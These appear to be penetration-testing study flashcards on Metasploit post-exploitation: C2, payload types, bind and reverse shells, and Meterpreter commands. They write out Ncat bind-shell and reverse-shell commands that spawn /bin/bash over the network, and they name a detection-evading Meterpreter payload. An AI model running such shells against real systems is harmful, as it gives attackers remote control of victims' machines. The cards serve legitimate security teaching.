17.2 Post-Exploitation with Meterpreter Flashcards
After successful exploitation, in which a session is established, Metasploit acts as a ___________ server, meaning it is able to ___________.
After successful exploitation, in which a session is established, Metasploit acts as a **command and control (C2)** server, meaning it is able to pass commands to exploited victim computers.
C2 is a general term for what?
C2 is a vital technique for the post-exploitation phase of pen testing, when attackers will try to perform tasks such as ___________.
C2 is a general term for a non-standardized framework that controls sessions on infected hosts.
C2 is a vital technique for the post-exploitation phase of pen testing, when attackers will try to perform tasks such as data exfiltration (moving data from the victim computer to the host).
Using Ncat what is the command to setup a listner on. a victim’s machine so you can connect to it from a attacker machine?
nc -lvnp 4444 -e /bin/bash
-
-l
: Tells Ncat to listen for incoming connection . -
-n
: Indicates that we are listening for numeric IP addresses. -
-v
: Means verbose, which will print more information about the connection. -
-p <port number>
: Specifies which port to listen on. <br></br>--e
: Executes a bash shell, specifically,/bin/bash
.</port>
Using Ncat, how would you set up a reverse shell?
Using Ncat, set up a listener on the attacker’s machine that is prepared for the victim’s machine to connect back to it with the following commands:
On the attcker machine:
nc -lvnp 4444
Victim machine run:
nc 192.168.0.08 4444 -e /bin/bash
A payload is the _______ that runs when an exploit successfully compromises a system.
A payload is the shell code that runs when an exploit successfully compromises a system.
True or False:
Payloads will need to correspond to a specific OS and architecture.
True
A 64-bit payload is very different from a 32-bit payload.
Some exploits can only handle a certain size payload. If a payload is too big, it will fail. To address this size issue, we can use either? What is the difference?
To address this size issue, we can use either **staged** or **stageless** payloads.
Staged payloads come in multiple parts in order to minimize their overall initial payload size. Upon exploitation, the payload calls the rest of the payload down from the “staged” location.
Stageless payloads are complete payloads, and are significantly larger than staged payloads.
If the payload is successful, it will establish a ____. This is the connection between the target machine and attacking machine.
If the payload is successful, it will establish a shell. This is the connection between the target machine and attacking machine.
Two notable types of shells are:
**Bind shells** use a payload that opens up a port on a victim host and listen on that port for an incoming connection from the attacker host. This allows the attacker to connect to the victim.
**Reverse shells** use a payload that automatically reaches out to the attacker host to establish a session.
When shells are used maliciously like this, they are also referred to as _______.
**backdoors**
In your own words, what is Meterpreter?
It’s the flagship or default payload of Metasploit. Meterpreter allows an attacker to control a victim’s computer by running an invisible shell and establishing a communication channel back to the attacking machine.
When connecting to the remote host, does Meterpreter start new processes, similar to SSH or Ncat?
Unlike SSH and Ncat, Meterpreter does not start any new processes on the victim. Instead, it “injects” itself into a program that’s already running.
True or False:
Meterpreter encrypts all communication to and from the victim machine.
True
For example, “windows/meterpreter/reverse_https” payload. This payload will communicate over HTTPS so it is less likely to be detected, and because it calls back to us, it is less likely to get picked up by a firewall as well. This is one of the standard reverse shells that we use in penetration testing.
Assuming that you have a Meterpreter shell, answer the following:
What command would you use to display the help menu?
?
Assuming that you have a Meterpreter shell, answer the following:
What command would you use to identify detailed Windows privilege information?
run win_privs